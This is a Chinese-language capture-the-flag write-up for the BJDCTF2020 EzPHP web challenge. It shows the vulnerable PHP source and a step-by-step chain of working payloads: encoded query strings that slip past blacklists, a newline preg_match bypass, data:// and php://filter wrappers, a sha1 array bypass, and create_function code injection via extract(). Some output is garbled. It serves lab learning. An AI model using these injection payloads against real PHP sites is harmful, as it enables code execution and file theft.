

BUUCTF [BJDCTF2020] EzPHP

原创

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
订阅专栏

BUUCTF [BJDCTF2020] EzPHP

启动环境:

网络安全任重而道远！但是这里好像并没有你想要的flag？

@Shana



应该是卡巴斯基的网络安全威胁图，加载不出来，但不影响做题。

鼠标右键点击不了，在地址前添加: `view-source:` 查看网页源码:

```
<html>
<!-- Here is the real page =w= --&gt;
&lt;!-- GFXEIM3YFZYGQ4A= --&gt;
&lt;head&gt;</pre>
```

经过**Base32**解码，得到信息：[1nD3x.php](#)

GFXEIM3YFZYGQ4A=

编码

base32

字符集

utf8(unicode编码)

编 码

解 码

1nD3x.php

https://blog.csdn.net/weixin_44037296

访问该页面，得到源码：

```

<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.\|\\"|\log|i', $_SERVER['QUERY_STRING'])
    )
        die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/i', $_GET['debu']) && $_GET['debu'] != 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

if (file_get_contents($file) != 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ) {
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^a-zA-Z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\|\{||\%|x|\&|\$\|\*|\||\|\|\\"|\|\|=|\?\s|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.\|log|\^\|i', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

```

1. 需要绕过 `$_SERVER['QUERY_STRING']` 黑名单

```
if($_SERVER) {  
    if (  
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$/  
        |show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|ech  
        |o|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])  
    )  
        die('You seem to want to do something bad?');  
}
```

`$_SERVER['QUERY_STRING']` 获取查询语句，也就是GET请求中 ? 后的内容，例如：

URL: www.xxx.com/?id=1&mes=2

```
$_SERVER['QUERY_STRING'] = "id=1&mes=2"
```

由于 `$_SERVER['QUERY_STRING']` 不会对传入键值对进行解码，所以通过URL编码方式绕过第一层黑名单。

通过GET方式传入 ?shana=1 :

```
} ?>
```

This is a very simple challenge and if you :
You seem to want to do something bad?

将其中关键字符进行URL在线编码，得到：

```
?%73hana=1
```

```
} ?>
```

This is a very simple challenge and if
fxck you! I hate English!

The screenshot shows a browser's developer tools with the Network tab selected. The URL bar displays the encoded URL: http://4605ae10%73hana=1. Below the URL bar, there are two buttons: 'LoadUrl' and 'SplitUrl'. The 'LoadUrl' button has a file icon, and the 'SplitUrl' button has a split-link icon.

成功进入到下一层。

2. 绕过 `preg_match()`

```

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/i', $_GET['debu']) && $_GET['debu'] != 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!')

```

需要传入变量 `$debu` 的值为 `aqua_is_cute`，使用 `%0a` 截断 `preg_match()` 的匹配，并且将关键字进行URL编码：

```
?%64ebu=%61qua_is_%63ute%0a
```

```
} ?>
```

This is a very simple challenge and if you solve it I will give you a gift!

Neeeeee! Good Job!

fxck you! I hate English!

成功得到回显，也就是可以成功执行 `$file = $_GET["file"];`

3. `$_REQUEST` 绕过

```

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

```

`$_REQUEST` 同时接收**GET**和**POST**的传参，但**POST**拥有更高的优先级，所以只需要**POST**相同的参数即可绕过。

```

// GET
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

// POST
debu=1

```

} ?>

This is a very simple challenge and if you solve it I will give you a flag. Good Luck!

Neeeeeee! Good Job!

Aqua is the cutest five-year-old child in the world! Isn't it ?

Elements Console Sources Network Performance Memory HackBar » ⚙️ ⋮ X

LoadUrl SplitUrl Execute Post data Referer User Agent Cookies Clear ALL

debu=1 https://blog.csdn.net/weixin_44037296

期间遇到个问题，一直无法绕过该段限制，咨询大佬得知：

`$_REQUEST` 的值与 `php.ini` 中的配置相关，当 `$_GET` 和 `$_POST` 中的键相同时，`$_POST` 的值将覆盖 `$_GET` 的值。

`$_REQUEST` 详解

其中还会包含有 `$_COOKIE` 的值，在之前做某些题目时，使用 F12 中的 Application 添加过 `Cookie`：

Elements Console Sources Network Performance Memory Application » ⚙️ ⋮ X

Clear storage Filter Only show cookies with an issue

| Name | Value | D... | P... | E... | Size | H... | S... | S... | P... |
|----------|-------|------|------|------|------|------|------|------|------|
| username | admin | 4... | / | S... | 13 | | | | M... |
| | | | | | | | | | |
| | | | | | | | | | |
| | | | | | | | | | |
| | | | | | | | | | |
| | | | | | | | | | |

Storage

- Local Storage
- Session Storage
- IndexedDB
- Web SQL
- Cookies

http://4605ae13-6fc6-4c2a-900d-be4b919e735a.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a https://blog.csdn.net/weixin_44037296

在访问同源网站时，会一直携带该 `Cookie`，所以一直无法绕过。

4. `file_get_contents()` 内容比较

```
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
```

传入的变量 `$file` 的值需要等于 `debu_debu_aqua`

可以使用 `php://input` 或 `data://` 绕过：

- `php://input` 是将 **POST** 传入的数据全部当做文件内容
- `data://text/plain,<?php phpinfo()?>`
- `data://text/plain;base64,PD9waHAgcGhwaW5mbygPz4=`

```
// GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61

// POST
debu=1&file=1
```

} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Neeeeeee! Good Job!
fxck you! you don't know my password! And you don't know sha1! why you come here!

Elements Console Sources Network Performance Memory HackBar > | : X

LoadUrl

SplitUrl

Execute

Post data Referer User Agent Cookies [Clear ALL](#)

debu=1&file=1

5. `sha1()` 绕过

```
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
```

`sha1()` 无法加密数组，直接使用数组绕过

```
// GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61%73%68%61%6e%61[ ]=1&%70%61%73%73%77%64[ ]=2

// POST
debu=1&file=1
```

?>

This is a very simple challenge and if you solve it I will give you a flag. Good Luck!

Neeeeeee! Good Job!

Very good! you know my password. But what is flag?

Neeeeeee~! I have disabled all dangerous functions! You can't get my flag =w=

LoadUrl

SplitUrl

Execute

Post data Referer User Agent Cookies [Clear ALL](#)

debu=1&file=1

https://blog.csdn.net/weixin_44037286

6. `create_function` 代码注入

```
if(preg_match('/^a-zA-Z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\||\{|%\|x|\&|\$|\*|\||\|
<|\\"|\\'|\-=|\?\|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read
|inc|flag|if|info|bin|hex|oct|pi|con|rot|input|\.|log|\^|i', $arg) ) {
    die("<br />Neeeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
    include "flag.php";
    $code('', $arg);
} ?>
```

其中变量 `$code` 和变量 `$arg` 可控，可以使用 `create_function()` 代码注入。

```
$myfunc = create_function('$a, $b', 'return $a+$b');
```

相当于：

```
function myfunc($a, $b){
    return $a+$b;
}
```

若 `$b` 对传入的值没有限制，则可以使用 `$code=return $a+$b; } eval($_POST['cmd']); //` 该payload构造命令执行，也就是：

```
function myfunc($a, $b){
    return $a+$b;
}
eval($_POST['cmd']); //
```

在上一阶段的 `extract($_GET["flag"]);` 处进行变量覆盖，从而使变量 `$code` 和变量 `$arg` 可控
首先闭合原有的语句：

```
flag[$arg]=}
```

在黑名单匹配后，`include "flag.php";`

很多函数被禁用，先使用`get_defined_vars()`将所有变量与值都进行输出，构造payload:

```
flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function  
  
// 等价于  
function{  
}  
var_dump(get_defined_vars());//}
```

```
// GET  
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%  
68%61%6e%61[ ]=1&%70%61%73%73%77%64[ ]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%  
%6f%64%65]=create_function  
  
// POST  
debu=1&file=1
```

得到一张图片与所有变量键值：

Neeeeee! Good Job!

Very good! you know my password. But what is flag?



flag就在这里，你能拿到它吗？
array(13) { ["_GET"]=> array(5) { ["debu"]=> string(13)
"aqua_is_cute" ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=>
string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32)
"var_dump(get_defined_vars());//["code"] => string(15)

flag就在这里，你能拿到它吗？

```
array(13)
{["_GET"] => array(5)
{["debu"] => string(13)
"aqua_is_cute" ["file"] => string(32)
"data://text/plain,debu_debu_aqua" ["shana"] => array(1)
{[0] => string(1)
"1" } ["passwd"] => array(1)
{[0] => string(1)
"2" } ["flag"] => array(2)
{["arg"] => string(32)
"}var_dump(get_defined_vars());//["code"] => string(15)
```

```
"create_function"}]} [_POST"] => array(2)
{[_debu"] => string(1)
"1"[file"] => string(1)
"1"} [_COOKIE"] => array(0)
{}[_FILES"] => array(0)
{}[_SERVER"] => array(58)
{[_PHP_EXTRA_CONFIGURE_ARGS"] => string(77)
"--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi"["HOSTNAME"] => string(12)
"ca746354539e"[_PHP_INI_DIR"] => string(18)
"/usr/local/etc/php"[_SHLVL"] => string(1)
"1"[HOME"] => string(14)
"/home/www-data"[_PHP_LDFLAGS"] => string(34)
"-Wl,-O1 -Wl,--hash-style=both -pie"[_PHP_CFLAGS"] => string(83)
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"[_PHP_MD5"] => string(0)
""[_PHP_VERSION"] => string(6)
"7.3.13"[_GPG_KEYS"] => string(81)
"CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D"[_PHP_CPPFLAGS"] => string(8
3)
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"[_PHP_ASC_URL"] => string(
62)
"https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror"[_PHP_URL"] => string(58)
"https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror"[_PATH"] => string(60)
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"[_PHPIZE_DEPS"] => string(78)
"autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c"[_PWD"] => string(13)
"/var/www/html"[_PHP_SHA256"] => string(64)
"57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228"[_FLAG"] => string(4)
>null[_USER"] => string(8)
"www-data"[_HTTP_CONNECTION"] => string(5)
"close"[_HTTP_X_FORWARDED_PROTO"] => string(4)
"http"[_HTTP_X_FORWARDED_FOR"] => string(26)
"223.104.176.195, 127.0.0.1"[_HTTP_UPGRADE_INSECURE_REQUESTS"] => string(1)
"1"[_HTTP_REFERER"] => string(318)
"http://9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%
0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[ ]=1&%70%61%73%73%77%64[ ]=2&%66%
6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function[
    "HTTP_ORIGIN"] => string(58)
"http://9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn"[_HTTP_CONTENT_TYPE"] => string(33)
"application/x-www-form-urlencoded"[_HTTP_CACHE_CONTROL"] => string(9)
"max-age=0"[_HTTP_ACCEPT_LANGUAGE"] => string(59)
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"[_HTTP_ACCEPT_ENCODING"] => string(13)
"gzip, deflate"[_HTTP_ACCEPT"] => string(74)
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"[_HTTP_CONTENT_LENGTH"] => string(2
)
"13"[_HTTP_USER_AGENT"] => string(82)
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0"[_HTTP_HOST"] => string(51)
"9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn"[_SCRIPT_FILENAME"] => string(23)
"/var/www/html/1nD3x.php"[_REDIRECT_STATUS"] => string(3)
"200"[_SERVER_NAME"] => string(9)
"localhost"[_SERVER_PORT"] => string(2)
"80"[_SERVER_ADDR"] => string(14)
"172.16.134.139"[_REMOTE_PORT"] => string(5)
"48922"[_REMOTE_ADDR"] => string(13)
"172.16.128.15"[_SERVER_SOFTWARE"] => string(12)
"nginx/1.16.1"[_GATEWAY_INTERFACE"] => string(7)
"CGI/1.1"[_REQUEST_SCHEME"] => string(4)
"http"[_SERVER_PROTOCOL"] => string(8)
"HTTP/1.1"[_DOCUMENT_ROOT"] => string(13)
"/var/www/html"[_DOCUMENT_URI"] => string(10)
"/1nD3x.php"[_REQUEST_URT"] => string(260)
"/1nD3x.php?%64%65%62%75-%61%71%75%61_is_%63%75%74%65%0A&file-data://text/plain %64%65%62%75 %64%65%62%75 %61%71
```

```

    /1nD3x.php?%04%05%02%73=%01%71%5%01_13_%05%73%4%05%0A&11C=data%2f%04%05%02%73_%04%05%02%73_%01%71%75%61&%73%68%61%6e%61[ ]=1&%70%61%73%73%77%64[ ]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function[
        "SCRIPT_NAME"] => string(10)
"/1nD3x.php"[ "CONTENT_LENGTH"] => string(2)
"13"[ "CONTENT_TYPE"] => string(33)
"application/x-www-form-urlencoded"[ "REQUEST_METHOD"] => string(4)
"POST"[ "QUERY_STRING"] => string(249)
"%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[ ]=1&%70%61%73%73%77%64[ ]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function[
        "FCGI_ROLE"] => string(9)
"RESPONDER"[ "PHP_SELF"] => string(10)
"/1nD3x.php"[ "REQUEST_TIME_FLOAT"] => float(1608270639.3536)[ "REQUEST_TIME"] => int(1608270639)[ "argv"] => array(1)
{[0] => string(249)
"%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[ ]=1&%70%61%73%73%77%64[ ]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"} [
        "argc"] => int(1){ "_REQUEST"] => array(5)
{[ "debu"] => string(1)
"1"[ "file"] => string(1)
"1"[ "shana"] => array(1)
{[0] => string(1)
"1"[ "passwd"] => array(1)
{[0] => string(1)
"2"[ "flag"] => array(2)
{[ "arg"] => string(32)
"}var_dump(get_defined_vars());//"[ "code"] => string(15)
"create_function"} } [ "file"] => string(32)
"data://text/plain,debu_debu_aqua"[ "shana"] => array(1)
{[0] => string(1)
"1"[ "passwd"] => array(1)
{[0] => string(1)
"2"[ "arg"] => string(32)
"}var_dump(get_defined_vars());//"[ "code"] => string(15)
"create_function"[ "value"] => array(2)
{[ "arg"] => string(32)
"}var_dump(get_defined_vars());//"[ "code"] => string(15)
"create_function"} [ "fffffffff1111114ggggg"] => string(89)
"Baka, do you think it's so easy to get my flag? I hid the real flag in realfl4g.php 23333"

```

在所有末尾得到提示，**flag**被隐藏在 **realfl4g.php** 页面中

利用 **require()**，来代替 **include()**：

```
require('php://filter/read=convert.base64- encode/resource=realfl4g.php');//
```

因为限制了太多符号，所以尝试使用**base64**编码方式绕过 **.** 等符号的过滤：

```

flag[arg]=>require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function

// GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[ ]=1&%70%61%73%73%77%64[ ]=2&%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST
debu=1&file=1

```

think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" ["f4ke_flag"]=>
string(28) "BJD{1am_a_fake_f4111g23333}" }

The screenshot shows the Chrome DevTools interface with the 'HackBar' tab selected. In the main area, there is a text input field containing a PHP exploit payload. Below the input field are several buttons: 'LoadUrl', 'SplitUrl', 'Execute' (which is highlighted with a blue border), 'Post data' (with a checked checkbox), 'Referer' (unchecked), 'User Agent' (unchecked), 'Cookies' (unchecked), and 'Clear ALL'. The URL in the address bar is https://blog.csdn.net/weixin_44037296.

得到了假的flag，查阅资料，使用 ~ 取反绕过，脚本：

```
<?
//Author: 颠奇L 'Amore
//Blog: www.gem-Love.com
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1
f l 4 g . p h p ";
$arr1 = explode(' ', $a);
echo "~(";
foreach ($arr1 as $key => $value) {
    echo "%".bin2hex(~$value);
}
echo ")";
```

得到： ~

```
(%8f%97%8f%5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90
%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f%)
```

构造最终payload：

```
// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]="1&passwd[]=";require('php://filter/read=convert.base64-encode/resource=reaf14g.php');var_dump(get_defined_vars());//&flag[code]=create_function
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61%73%
68%61%6e%61[]="1&%70%61%73%73%77%64[]="2&%66%6c%61%67[%61%72%67]";}require(~(%8f%97%8f%5%d0%d0%99%96%93%8b%9a%8d%
d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8
d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST
debu=1&file=1
```

flag灝夊塙杩檳噏锛屼絳鑱芥燈錄板畠錫櫟紵

PGe0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0i

The screenshot shows the Chrome DevTools interface with the 'HackBar' tab selected. In the main area, there is a large text input containing a base64 encoded string. Below this input are several buttons: 'LoadUrl', 'SplitUrl', 'Execute', 'Post data' (which is checked), 'Referer', 'User Agent', 'Cookies', and 'Clear ALL'. At the bottom of the input field, there is a URL: https://blog.csdn.net/weixin_44037256.

得到**BASE64**编码后的源码

PGe0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0i
SUU9ZWWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdg9ZGV2aWN1LXdpxZHRoLCBpbm10aWFsLXNjYWx1PTEsIG1heGlt
dw0tc2NhbgGU9MSwgdXNlcj1zY2FsYWJsZT1ubyI+DQo8dG10bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGx1Pg0KPC9oZWfkP0KPC9odG1s
Pg0KPD9waHANCgllY2hvICL1kqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvlilDov5nlj6Xor53kuZ/kuI3ku6Pooajk
vaDlsLHog73m17/liLBmbGFn5Z0m77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWt1X2Y0MTEzMwcyMzM30i0w0KCSRyZWEExX2YxMTE0Zykl7DQo=

解码后，得到源码：

```
<html>
<?php
echo "咦，你居然找到我了？！不过看到这句话也不代表你就能拿到flag哦！";
$fake_flag = "BD{1am_a_fake_f41111g23333}";
$real_flag = "flag{86bed421-3ee1-4ebc-9166-c54d98110ab6}";
unset($real_flag);
```